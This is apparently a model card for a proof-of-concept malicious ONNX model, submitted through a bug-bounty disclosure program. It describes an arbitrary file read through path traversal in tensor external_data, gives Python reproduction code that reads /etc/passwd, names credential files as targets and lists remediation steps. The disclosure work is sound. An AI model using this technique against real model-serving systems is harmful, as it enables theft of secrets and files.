| --- |
| tags: |
| - security |
| - vulnerability |
| - poc |
| license: mit |
| --- |
| |
| # ONNX Arbitrary File Read PoC |
|
|
| **⚠️ WARNING: Malicious Model - For Security Research Only** |
|
|
| This model demonstrates a critical vulnerability: **Arbitrary File Read via External Data Path Traversal**. |
|
|
| ## Vulnerability Description |
|
|
| The ONNX runtime does not validate the `location` field in `TensorProto.external_data`, allowing malicious models to read arbitrary files from the server's filesystem. |
|
|
| ## How It Works |
|
|
| 1. The model's tensor has `external_data.location` set to `/etc/passwd` (absolute path) |
| 2. When loaded via `onnxruntime.InferenceSession()`, the runtime reads this file |
| 3. File content is loaded into the tensor data |
| 4. Inference output contains the sensitive file content |
|
|
| ## Reproduction |
|
|
| ```python |
| import onnxruntime as ort |
| import numpy as np |
| |
| # Load malicious model |
| sess = ort.InferenceSession("file_read_poc.onnx") |
| |
| # Run inference (no input needed) |
| outputs = sess.run(None, {}) |
| |
| # Decode file content |
| file_data = bytes(outputs[0].tolist()) |
| print(file_data.decode('utf-8', errors='ignore')) |
| # Output: root:x:0:0:root:/root:/bin/bash... |
| ``` |
|
|
| ## Impact |
|
|
| - **Severity**: Critical |
| - **Attack Vector**: Model-as-a-Service (MaaS) platforms |
| - **Affected**: Any system running user-uploaded ONNX models |
| - **Consequences**: |
| - Credential theft (`~/.aws/credentials`, SSH keys) |
| - Source code leakage |
| - Configuration file exposure |
| - System information disclosure |
|
|
| ## Remediation |
|
|
| 1. Validate `external_data.location` to ensure it's relative and within model directory |
| 2. Reject absolute paths |
| 3. Implement path sandboxing |
| 4. Add `--allow-external-data` flag (disabled by default) |
|
|
| ## Responsible Disclosure |
|
|
| This PoC is submitted through Huntr's responsible disclosure program. |
|
|
| **Category**: MFV (Model File Vulnerability) |
| **Status**: Under Review |
| **Reporter**: Security Researcher |
|
|